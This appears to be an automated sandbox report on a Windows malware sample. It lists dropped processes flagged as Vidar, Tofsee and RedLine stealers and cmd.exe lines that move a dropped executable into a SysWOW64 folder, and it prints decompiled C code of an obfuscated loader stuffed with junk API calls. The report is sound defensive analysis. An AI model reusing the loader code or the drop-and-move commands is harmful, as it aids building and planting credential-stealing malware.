Imagebase:	0x1250000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: B50.exe PID: 5760 Parent PID: 3352

General

Start time:	04:59:08
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\B50.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B50.exe
Imagebase:	0x400000
File size:	323584 bytes
MD5 hash:	FF0D190D6DF636D7DE53B8B6B683BC6E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 743F.exe PID: 6640 Parent PID: 3352

General

Start time:	04:59:12
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\743F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\743F.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F05279062D67B1F816420725086C77AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000018.00000003.392346980.0000000000590000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 7D0A.exe PID: 6788 Parent PID: 3352

General

Start time:	04:59:14
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\7D0A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7D0A.exe
Imagebase:	0xd70000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 89%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exe PID: 6360 Parent PID: 6640

General

Start time:	04:59:19
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\icpymrdv\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2060 Parent PID: 6360

General

Start time:	04:59:19
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3532 Parent PID: 6640

General

Start time:	04:59:22
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\icpymrdv\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5468 Parent PID: 3532

General

Start time:	04:59:23
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 7D0A.exe PID: 2008 Parent PID: 6788

General

Start time:	04:59:24
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\7D0A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7D0A.exe
Imagebase:	0x650000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.428360740.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.429057949.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000002.520312697.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.427833642.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: eIxMVDoQF3.exe PID: 6904 Parent PID: 4752 eIxMVDoQF3.exeCOMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.2%
Total number of Nodes:	324
Total number of Limit Nodes:	19

Executed Functions

Function 00419F67, Relevance: 257.8, APIs: 115, Strings: 32, Instructions: 523
timefilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419F67(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t54;
				CHAR* _t56;
				intOrPtr _t90;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t211;
				void* _t213;
				intOrPtr _t235;
				void* _t236;

				_t200 = __edx;
				E0041AB50(0x24f8);
				if( *0x55abe4 == 0x177) {
					E0041B580(0, 0, 0);
					E0041B1B0(_t199, 0, 0);
					E0041B160(_t199, 0, 0);
					E0041B0E0(0);
					E0041AEF0("0.0");
					st0 = __fp0;
					E0041AC70(_t199, 0);
					E0041AC40(_t199, 0, 0);
					E0041ABC0(_t199, 0);
					_t56 = E0041ABA0(0);
					_t213 = _t213 + 0x38;
				}
				_t201 = 0;
				L3:
				L3:
				if( *0x55abe4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t213 + 0xc);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t213 + 0xd08, 0);
					__imp__TerminateJobObject(0,  *(_t213 + 0xc));
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t213 + 0x108, 0);
					__imp__FindNextVolumeMountPointW(0, _t213 + 0x1508, 0);
					GetCompressedFileSizeA("wovag", _t213 + 0x18);
					GetNamedPipeInfo(0, 0, 0, 0, 0);
					lstrcpynA(_t213 + 0x50c, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetProcessVersion(0);
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t56 = OpenMutexW(0, 0, L"Wuhesuvugocu regacavac");
				}
				if(_t201 == 0x69d) {
					goto L8;
				}
				_t201 = _t201 + 1;
				if(_t201 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t202 = 0;
				do {
					if(_t202 < 0x4cd) {
						GetLastError();
					}
					if( *0x55abe4 == 0x6b) {
						_t56 = HeapFree(0, 0, 0);
					}
					_t202 = _t202 + 1;
					 *0x5547d0 = 0;
				} while (_t202 < 0x1763459b);
				_t197 = 0;
				do {
					if(_t197 == 0x40d) {
						 *0x55abe4 =  *0x55abe4 + 0x12336;
					}
					if( *0x55abe4 == 0x44d) {
						 *(_t213 + 0xc) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t213 + 0x10), _t213 + 0x18);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetNumberOfConsoleInputEvents(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t213 + 0x3c, _t213 + 0x30);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t213 + 0x1c) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t213 + 0x510, 0, _t213 + 0x14, _t213 + 0x1c);
						WriteConsoleInputW(0, 0, 0, _t213 + 0x14);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t213 + 0xd08, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t213 + 0x10c, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t213 + 0x1d08, 0);
						_t56 = lstrcpyA(_t213 + 0x1508, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameW(0, 0);
					}
					_t197 = _t197 + 1;
				} while (_t197 < 0x486263);
				E00419CFE(_t56);
				_t205 = GetOverlappedResult;
				_t211 = 0;
				do {
					if( *0x55abe4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t211 == 0x3c58) {
						_t90 =  *0x440008; // 0x3f6fda
						 *0x55abe8 = _t90;
					}
					if( *0x55abe4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t213 + 0x1d10, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t213 + 0x18);
						PeekConsoleInputA(0, _t213 + 0x28, 0, _t213 + 0x14);
						BuildCommDCBA("Varihokegal vecu sahavujuv nemociyanuha lotom", _t213 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						GetOverlappedResult(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t213 + 0x108);
						ResetEvent(_t213 + 0xb0);
						__imp__FindActCtxSectionStringA(0, 0, 0, "Cat tafugozeyab jumulizodunef sazu buxonisiz", _t213 + 0xc8);
						 *((intOrPtr*)(_t213 + 0x70)) = 0;
						E0041B5A0(_t205, _t213 + 0x6c, 0, 0x30);
						_t213 = _t213 + 0xc;
						SetDefaultCommConfigW(0, _t213 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t213 + 0x150c, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t213 + 0x508);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t213 + 0x98);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t213 + 0xd10, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t211 = _t211 + 1;
				} while (_t211 < 0xe6a95);
				_t206 = 0;
				_t235 =  *0x55abe4; // 0xf670
				if(_t235 > 0) {
					do {
						E00419AC9(_t206);
						_t206 = _t206 + 1;
						_t236 = _t206 -  *0x55abe4; // 0xf670
					} while (_t236 < 0);
				}
				_t207 = 0;
				do {
					if(_t207 == 0x26) {
						E00419C16(_t200);
					}
					_t207 = _t207 + 1;
				} while (_t207 < 0x3dc4b7);
				E00419D12(); // executed
				if( *0x55abe4 == 0x1d) {
					WriteConsoleW(0, 0, 0, _t213 + 0x18, 0);
					EndUpdateResourceW(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t213 + 0x14, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t213 + 0x1c, _t213 + 0xd04);
					__imp__CreateActCtxW(_t213 + 0x40);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t213 + 0x1d08, 0);
					GetVersion();
					SetConsoleMode(_t213 + 0x10, 0);
					 *(_t213 + 0x1c) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					WriteFile(0, _t213 + 0x1510, 0, _t213 + 0x34, _t213 + 0x1c);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t213 + 0x50c, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t54 =  *0x440160; // 0xffffd33a
				 *0x55abe4 = _t54;
				goto L9;
			}

0x00419f67
0x00419f6c
0x00419f80
0x00419f85
0x00419f8c
0x00419f93
0x00419f99
0x00419fa3
0x00419fa8
0x00419fab
0x00419fb2
0x00419fb8
0x00419fbe
0x00419fc3
0x00419fc3
0x00419fc6
0x00000000
0x00419fc8
0x00419fcf
0x00419fdf
0x00419fea
0x00419ff2
0x00419ff8
0x0041a008
0x0041a013
0x0041a01e
0x0041a025
0x0041a03a
0x0041a04f
0x0041a05f
0x0041a06f
0x0041a07a
0x0041a08e
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ab
0x0041a0b2
0x0041a0b8
0x0041a0c2
0x0041a0c9
0x0041a0d0
0x0041a0d8
0x0041a0df
0x0041a0ec
0x0041a0ec
0x0041a0f8
0x00000000
0x00000000
0x0041a0fa
0x0041a101
0x00000000
0x00000000
0x0041a107
0x0041a113
0x0041a113
0x0041a115
0x0041a11b
0x0041a11d
0x0041a11d
0x0041a12a
0x0041a12f
0x0041a12f
0x0041a135
0x0041a13c
0x0041a13c
0x0041a144
0x0041a146
0x0041a14c
0x0041a14e
0x0041a14e
0x0041a162
0x0041a16a
0x0041a173
0x0041a185
0x0041a190
0x0041a198
0x0041a19f
0x0041a1ab
0x0041a1b1
0x0041a1b9
0x0041a1c9
0x0041a1d1
0x0041a1da
0x0041a1e2
0x0041a1ea
0x0041a1eb
0x0041a1ec
0x0041a1ed
0x0041a204
0x0041a212
0x0041a218
0x0041a228
0x0041a22e
0x0041a235
0x0041a246
0x0041a24d
0x0041a257
0x0041a262
0x0041a269
0x0041a270
0x0041a280
0x0041a292
0x0041a29a
0x0041a29a
0x0041a2a0
0x0041a2a1
0x0041a2ae
0x0041a2b3
0x0041a2bf
0x0041a2c1
0x0041a2cb
0x0041a2ce
0x0041a2ce
0x0041a2da
0x0041a2dc
0x0041a2e1
0x0041a2e1
0x0041a2ed
0x0041a2fb
0x0041a302
0x0041a30b
0x0041a31d
0x0041a32d
0x0041a337
0x0041a33b
0x0041a343
0x0041a34d
0x0041a35d
0x0041a36f
0x0041a37f
0x0041a387
0x0041a38e
0x0041a398
0x0041a39c
0x0041a3a5
0x0041a3b4
0x0041a3c2
0x0041a3d8
0x0041a3e6
0x0041a3ea
0x0041a3ef
0x0041a3f9
0x0041a401
0x0041a408
0x0041a410
0x0041a424
0x0041a42c
0x0041a434
0x0041a447
0x0041a44e
0x0041a45c
0x0041a47a
0x0041a483
0x0041a48d
0x0041a492
0x0041a492
0x0041a498
0x0041a499
0x0041a4a5
0x0041a4a8
0x0041a4ae
0x0041a4b0
0x0041a4b1
0x0041a4b6
0x0041a4b7
0x0041a4b7
0x0041a4b0
0x0041a4bf
0x0041a4c1
0x0041a4c4
0x0041a4c6
0x0041a4c6
0x0041a4cb
0x0041a4cc
0x0041a4d4
0x0041a4e0
0x0041a4ef
0x0041a4f7
0x0041a4fe
0x0041a507
0x0041a513
0x0041a51b
0x0041a530
0x0041a53b
0x0041a542
0x0041a54d
0x0041a555
0x0041a564
0x0041a56a
0x0041a576
0x0041a57e
0x0041a586
0x0041a587
0x0041a588
0x0041a589
0x0041a59e
0x0041a5ae
0x0041a5c7
0x0041a5c9
0x0041a5d4
0x0041a5d4
0x0041a5e5
0x0041a109
0x0041a109
0x0041a10e
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419F85

Part of subcall function 0041B580: __vsprintf_l.LIBCMTD ref: 0041B593

_putc.LIBCMTD ref: 00419F8C

Part of subcall function 0041B1B0: __invalid_parameter.LIBCMTD ref: 0041B23D

__wrename.LIBCMTD ref: 00419F93

Part of subcall function 0041B160: MoveFileA.KERNEL32 ref: 0041B16E
Part of subcall function 0041B160: GetLastError.KERNEL32 ref: 0041B178
Part of subcall function 0041B160: __dosmaperr.LIBCMTD ref: 0041B194

_atexit.LIBCMTD ref: 00419F99

Part of subcall function 0041AEF0: __atof_l.LIBCMTD ref: 0041AEFB

_malloc.LIBCMTD ref: 00419FAB
_realloc.LIBCMTD ref: 00419FB2

Part of subcall function 0041AC40: __realloc_dbg.LIBCMTD ref: 0041AC54

_ferror.LIBCMTD ref: 00419FB8

Part of subcall function 0041ABC0: __invalid_parameter.LIBCMTD ref: 0041AC1A

Part of subcall function 0041ABA0: __wcstoi64.LIBCMTD ref: 0041ABAD

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419FDF
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419FEA
Process32NextW.KERNEL32(00000000,00000000), ref: 00419FF2
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419FF8
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 0041A008
TerminateJobObject.KERNEL32 ref: 0041A013
GlobalAddAtomW.KERNEL32 ref: 0041A01E
DeleteAtom.KERNEL32(00000000), ref: 0041A025
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 0041A03A
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 0041A04F
FindNextVolumeMountPointW.KERNEL32 ref: 0041A05F
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 0041A06F
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A07A
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 0041A08E
GetProcessVersion.KERNEL32(00000000), ref: 0041A095
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041A09C
UnregisterWait.KERNEL32(00000000), ref: 0041A0A3
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 0041A0AB
CancelWaitableTimer.KERNEL32(00000000), ref: 0041A0B2
SetFileApisToANSI.KERNEL32 ref: 0041A0B8
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A0C2
FindClose.KERNEL32(00000000), ref: 0041A0C9
SetEndOfFile.KERNEL32(00000000), ref: 0041A0D0
GetCommMask.KERNEL32(00000000,00000000), ref: 0041A0D8
LocalLock.KERNEL32(00000000), ref: 0041A0DF
OpenMutexW.KERNEL32(00000000,00000000,Wuhesuvugocu regacavac), ref: 0041A0EC
GetLastError.KERNEL32 ref: 0041A11D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041A12F
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 0041A185
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 0041A190
GetNumberOfConsoleInputEvents.KERNEL32(00000000,00000000), ref: 0041A198
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A19F
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A1AB
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041A1B1
_lopen.KERNEL32(00000000,00000000), ref: 0041A1B9
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0041A1C9
SetCommState.KERNEL32(00000000,00000000), ref: 0041A1D1
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0041A1DA
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A204
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A212
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A218
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A228
FreeConsole.KERNEL32 ref: 0041A22E
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A235
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A246
SetConsoleCP.KERNEL32(00000000), ref: 0041A24D
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A257
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A262
SetSystemTime.KERNEL32(00000000), ref: 0041A269
SetThreadExecutionState.KERNEL32 ref: 0041A270
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A280
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A292
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041A29A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A2CE
CreateSemaphoreA.KERNEL32 ref: 0041A2FB
GetLocalTime.KERNEL32(00000000), ref: 0041A302
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A30B
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A31D
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A32D
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A337
WaitNamedPipeA.KERNEL32 ref: 0041A33B
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A343
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A34D
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A35D
PeekConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 0041A36F
BuildCommDCBA.KERNEL32 ref: 0041A37F
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A387
GlobalLock.KERNEL32 ref: 0041A38E
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A398
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A39C
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A3A5
GetThreadContext.KERNEL32(00000000,?), ref: 0041A3B4
ResetEvent.KERNEL32(?), ref: 0041A3C2
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Cat tafugozeyab jumulizodunef sazu buxonisiz,?), ref: 0041A3D8
_memset.LIBCMT ref: 0041A3EA
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A3F9
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A401
HeapUnlock.KERNEL32(00000000), ref: 0041A408
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A410
GetVolumePathNameA.KERNEL32 ref: 0041A424
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A42C
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A434
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A447
GetDriveTypeA.KERNEL32(00000000), ref: 0041A44E
TryEnterCriticalSection.KERNEL32(?), ref: 0041A45C
GetPrivateProfileStructW.KERNEL32 ref: 0041A47A
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A483
GetPrivateProfileSectionW.KERNEL32 ref: 0041A48D
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A492
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A4EF
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041A4F7
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A4FE
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A507
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A513
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041A51B
GetTapeParameters.KERNEL32 ref: 0041A530
CreateActCtxW.KERNEL32(?), ref: 0041A53B
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A542
GlobalFindAtomA.KERNEL32(Hiwejanoji), ref: 0041A54D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A555
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A564
GetVersion.KERNEL32 ref: 0041A56A
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A576
WriteFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041A59E
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A5AE
GetPrivateProfileSectionW.KERNEL32 ref: 0041A5C7
DebugBreak.KERNEL32 ref: 0041A5C9
DeleteVolumeMountPointA.KERNEL32 ref: 0041A5D4

Strings

wapejan, xrefs: 0041A030
rixawibonagomukirak, xrefs: 0041A462
Piruvora, xrefs: 0041A41F
Hiwejanoji, xrefs: 0041A548
Pusazide, xrefs: 0041A5A4
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 0041A035
Felerah cuhozazikesuzil, xrefs: 0041A04A
pahubahiwucijucemipapujivojadij, xrefs: 0041A312
wovag, xrefs: 0041A06A
Xemov yoxociy pogi, xrefs: 0041A18B
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 0041A081
diponusohivasohopo, xrefs: 0041A475
Vozecitak mov, xrefs: 0041A019
Wuhesuvugocu regacavac, xrefs: 0041A0E5
gukafipa, xrefs: 0041A442
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A5B4
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 0041A17F
0.0, xrefs: 00419F9E
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A358
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A5C2
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A5A9
Hetitanutaf bebucoreko, xrefs: 0041A285
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419FE5
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A317
Cat tafugozeyab jumulizodunef sazu buxonisiz, xrefs: 0041A3D0
hukujid, xrefs: 0041A5CF
mocisacatenu, xrefs: 0041A02B
cbH, xrefs: 0041A2A1
Varihokegal vecu sahavujuv nemociyanuha lotom, xrefs: 0041A37A
hijaduvinijebup, xrefs: 00419FDA
tivomifuzasesufaholivikasekalene, xrefs: 0041A2F3
mawecamaxe, xrefs: 0041A470

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

